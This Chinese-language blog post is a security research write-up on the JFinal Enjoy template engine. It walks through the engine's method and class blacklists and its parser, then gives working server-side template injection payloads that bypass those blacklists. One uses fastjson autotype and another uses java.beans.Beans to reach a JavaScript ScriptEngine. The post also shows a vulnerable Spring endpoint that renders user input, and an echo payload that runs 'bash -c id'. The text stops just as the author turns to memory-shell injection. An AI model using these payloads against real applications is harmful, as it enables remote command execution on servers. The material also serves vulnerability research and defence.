Enjoy模板引擎分析

Enjoy模板引擎分析

前置

首先有关Enjoy模板引擎的一些描述可以看这里:https://jfinal.com/doc/6-1

文档中值得关注的点

属性访问触发get方法

在官方文档里面我们可以看到很多有趣的东西(当然我会更关注于一些相关的),比如属性访问的这一条描述,可以让我们去触发对象的get方法(前提是public修饰)

1
2
3
4
5
由于模板引擎的属性取值表达式极为常用,所以对其在用户体验上进行了符合直觉的扩展,field 表达式取值优先次序,以 user.name 为例:

如果 user.getName() 存在,则优先调用

如果 user 具有 public 修饰过的name 属性,则取 user.name 属性值(注意:jfinal 4.0 之前这条规则的优先级最低)

方法调用

关于方法调用也有一些描述,说可以直接调用对象上的任何public方法,使用规则与java中调用方式保持一致,当然也不是所有方法都能调用,在源码的调试过程当中发现有一些方法在黑名单当中

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
getClass
wait
notifyAll
getClassLoader
invoke
notify
getDeclaringClass
removeForbiddenMethod
removeForbiddenClass
suspend
resume
loadLibrary
forName
newInstance
exit
halt
stop

除此以外也有黑名单类

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
java.lang.ThreadGroup
java.lang.ProcessBuilder
java.lang.System
java.lang.ClassLoader
java.lang.reflect.Proxy
java.lang.Runtime
java.lang.Thread
java.lang.Class
com.jfinal.template.expr.ast.MethodKit
java.io.File
java.lang.reflect.Method
java.lang.InheritableThreadLocal
java.lang.Process
java.lang.ThreadLocal
java.lang.Package
java.lang.SecurityManager
java.lang.Compiler
java.lang.RuntimePermission

因此也给了我们更多的限制

静态属性访问

来个例子就懂了

1
2
3
#if(x.status == com.demo.common.model.Account::STATUS_LOCK_ID)
<span>(账号已锁定)</span>
#end

静态方法的调用

1
2
3
#if(com.jfinal.kit.StrKit::isBlank(title))
....
#end

同时支持调用静态属性上的方法

1
(com.jfinal.MyKit::me).method(paras)

引擎执行流程简单分析

以下不感兴趣可以直接略过,因为不需要一些很详细的分析就能bypass,只要我们知道过滤了哪些类哪些方法针对绕过即可,这里权当自己好奇看看如何实现的,当然分析也只会主要去看一些能让我成功实现执行不安全函数的方式(指的是#()#set()两种),根据对文档的阅读,个人认为其他标签对于我意义不大,因为我如果能够执行一个命令我需要的是能够回显#(),或者我不能通过一步执行需要通过#set(a=xxx)的方式去拆分保存变量做中转,因此我在分析调试的过程当中只会针对这两个标签进行分析

为了独立分析这里引入了maven坐标

1
2
3
4
5
<dependency>
<groupId>com.jfinal</groupId>
<artifactId>enjoy</artifactId>
<version>4.9.21</version>
</dependency>

一个基本的使用很简单,为了方便调试我写了个很简单的类

1
2
3
4
5
6
7
8
9
10
11
12
package com.example.ezsb;

public class User {
public static void run(){
try{
Runtime.getRuntime().exec("open -na Calculator");
}catch (Exception e){

}
}

}
1
2
Template template = engine.getTemplateByString("#(com.example.ezsb.User::run())");
template.renderToString();

首先由于默认未开启缓存,默认走第一个分支

接下来我们看com.jfinal.template.Engine#buildTemplateBySource,同样我们只需要更关注于解析部分也就是parser.parse()

接下来我们先跟一下这个遍历字符串解析token的过程,首先是初步解析操作与内容,比如#(xxx)他就会识别成OUTPUT xxxx )三部分,#set("a=xxx")也会拆分成set a=xxx )三部分之后在statlist中,根据是TEXT\SET\FOR\OUTPUT\INCLUDE\FOR\DEFINE\CALL.....等去做更进一步的解析

这里我们看看,首先当前位置一定是#,不然也没意义了,这里光看英文单词就知道我们更应该专注看com.jfinal.template.stat.Lexer#scanDire

这里如果#后面是(也就直接对应了OUTPUT,如果不是则判断后面如果是字母则转到state为10的分支(PS:后面那个如果是@则调用模板函数防止你们好奇),并设置对应的token

接下来我们看看state为10的地方做的什么首先通过id去获取symbol

简单看看这里一些内置的东西,如果没有的话就会去看是不是走define或者else if分支,当然超纲了我上面说过的只看#()#set(),这里就不深入谈了

接下来看debug窗口就和我们上面说的一样设置了下面的toknelist的内容

接下来我们继续看看statList函数(在上一步的基础上进行更进一步的解析),这里不管是OUTPUT还是SET其实值得我们关注的核心调用是相同的,也就是this.parseExprList(para)

跟进parseExprList,一直到com.jfinal.template.expr.ExprParser#parse,我们跟进这个scan

这里不再通篇像上面那样说如何解析的了,有兴趣可以自己看

这里我们只看几个关键的,在scanOperator里面,一个是::作为STATIC静态标记,另一个是左括号和又括号

在最终做完这些处理后,tokenList成了这个样子

接下来我们看看下面,首先initPeek会将peek设置为tokenList当中的第一个,之后默认会调用exprList

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
Expr parse(boolean isExprList) {
this.tokenList = (new ExprLexer(this.paraToken, this.location)).scan();
if (this.tokenList.size() == 0) {
return ExprList.NULL_EXPR_LIST;
} else {
this.tokenList.add(EOF);
this.initPeek();
Expr expr = isExprList ? this.exprList() : this.forCtrl();
if (this.peek() != EOF) {
throw new ParseException("Expression error: can not match \"" + this.peek().value() + "\"", this.location);
} else {
return (Expr)expr;
}
}
}

在exprList,具体的过程也比较复杂

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
ExprList exprList() {
ArrayList exprList = new ArrayList();

while(true) {
Expr expr = this.expr();
if (expr == null) {
break;
}

exprList.add(expr);
if (this.peek().sym != Sym.COMMA) {
break;
}

this.move();
if (this.peek() == EOF) {
throw new ParseException("Expression error: can not match the char of comma ','", this.location);
}
}

return new ExprList(exprList);
}

这里放一个调用栈就好了,有兴趣可以自己跟一跟(它规定了以什么样的顺序去解析我们的表达式)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
staticMember:326, ExprParser (com.jfinal.template.expr)
incDec:287, ExprParser (com.jfinal.template.expr)
unary:279, ExprParser (com.jfinal.template.expr)
nullSafe:253, ExprParser (com.jfinal.template.expr)
mulDivMod:241, ExprParser (com.jfinal.template.expr)
addSub:229, ExprParser (com.jfinal.template.expr)
greaterLess:216, ExprParser (com.jfinal.template.expr)
equalNotEqual:203, ExprParser (com.jfinal.template.expr)
and:191, ExprParser (com.jfinal.template.expr)
or:179, ExprParser (com.jfinal.template.expr)
ternary:165, ExprParser (com.jfinal.template.expr)
assign:158, ExprParser (com.jfinal.template.expr)
expr:127, ExprParser (com.jfinal.template.expr)
exprList:110, ExprParser (com.jfinal.template.expr)
parse:97, ExprParser (com.jfinal.template.expr)
parseExprList:76, ExprParser (com.jfinal.template.expr)
parseExprList:269, Parser (com.jfinal.template.stat)
stat:117, Parser (com.jfinal.template.stat)
statList:87, Parser (com.jfinal.template.stat)
parse:77, Parser (com.jfinal.template.stat)
buildTemplateBySource:305, Engine (com.jfinal.template)
getTemplateByString:242, Engine (com.jfinal.template)
getTemplateByString:223, Engine (com.jfinal.template)
main:50, Test (com.example.ezsb)

最终在staticMember会返回一个实例化的staticMember对象

在初始化的时候还会检查类名与方法名是否在黑名单当中,具体的在上面提到过就不贴了点我直达

后面过程就省略了,已经到了我们想要的了,后面就是如何调用这个静态函数了,当然其实不止能调用静态方法,还可以直接调用实例对象的方法,但是也是有黑名单拦截

绕过Bypass

根据之前的调试我们知道,如果想要在模板里面执行函数有几个条件

  • 对于调用静态方法,只能调用公共静态方法(但不能用黑名单当中的类以及方法)
  • 对于实例对象的方法,只能调用public修饰的(但不能用黑名单当中的类以及方法)

绕过第一个方式直接命令执行比较难,那么如果是第二种方式的话那我们肯定需要获取一个类的实例,那么有没有一个public类的静态方法能返回我们任意的实例呢,那就看看有没有办法能够返回一个类的实例呢?这样就可以 javax.script.ScriptEngineManager来执行任意Java代码(这样也比较好绕过黑名单了)

首先网上搜了搜jfinal的历史,发现可以通过fastjson去实例化一个类,同时可以开启autotype,构造payload长这样

1
2
3
4
5
6
7
#set(x=com.alibaba.fastjson.parser.ParserConfig::getGlobalInstance())
#(x.setAutoTypeSupport(true))
#(x.addAccept("javax.script.ScriptEngineManager"))
#set(a=com.alibaba.fastjson.JSON::parse('{"@type":"javax.script.ScriptEngineManager"}'))
#set(b=a.getEngineByName('js'))
#set(payload=xxxxxx)
#(b.eval(payload))

既然这样那有没有jre当中的类可以实现类似的效果呢?答案是有

Java自带类绕过

我发现有一个类java.beans.Beans

1
2
3
public static Object instantiate(ClassLoader cls, String beanName) throws IOException, ClassNotFoundException {
return Beans.instantiate(cls, beanName, null, null);
}

这个方法又臭又长,不过好在符合条件classLoader也不需要传,真舒服呀

1
2
3
4
5
6
7
8
if (cls == null) {
try {
cls = ClassLoader.getSystemClassLoader();
} catch (SecurityException ex) {
// We're not allowed to access the system class loader.
// Drop through.
}
}

因此配合这个类顺手拿下模板SSTI

1
#set((java.beans.Beans::instantiate(null,"javax.script.ScriptEngineManager")).getEngineByExtension("js").eval("function test(){ return java.lang.Runtime};r=test();r.getRuntime().exec(\"open -na Calculator\")"))

获取回显

我们考虑两个场景,一个是直接执行,另一个return返回值

写入内存马

既然能够执行任意代码了那肯定拿下内存马,这里启一个springboot环境测试,简单测试下

1
2
3
4
5
6
7
8
9
10
11
12
13
@ResponseBody
@RequestMapping("/")
public String abc(@RequestParam("base") String base) {

ProcessBuilder processBuilder = new ProcessBuilder();
Engine engine = Engine.use();
engine.setDevMode(true);
engine.setToClassPathSourceFactory();
Template template = engine.getTemplateByString(base);
String result = template.renderToString();
return result;

}

直接回显

很简单不需要讲了都,很常规payload

1
base=#((java.beans.Beans::instantiate(null,"javax.script.ScriptEngineManager")).getEngineByExtension("js").eval("var s = [3];s[0] = \"/bin/bash\";s[1] =\"-c\";s[2] = \"id\";var p =java.lang.Runtime.getRuntime().exec(s);var sc = new java.util.Scanner(p.getInputStream(),\"GBK\").useDelimiter(\"\\A\");var result = sc.hasNext() ? sc.next() : \"\";sc.close();result;"))

测试下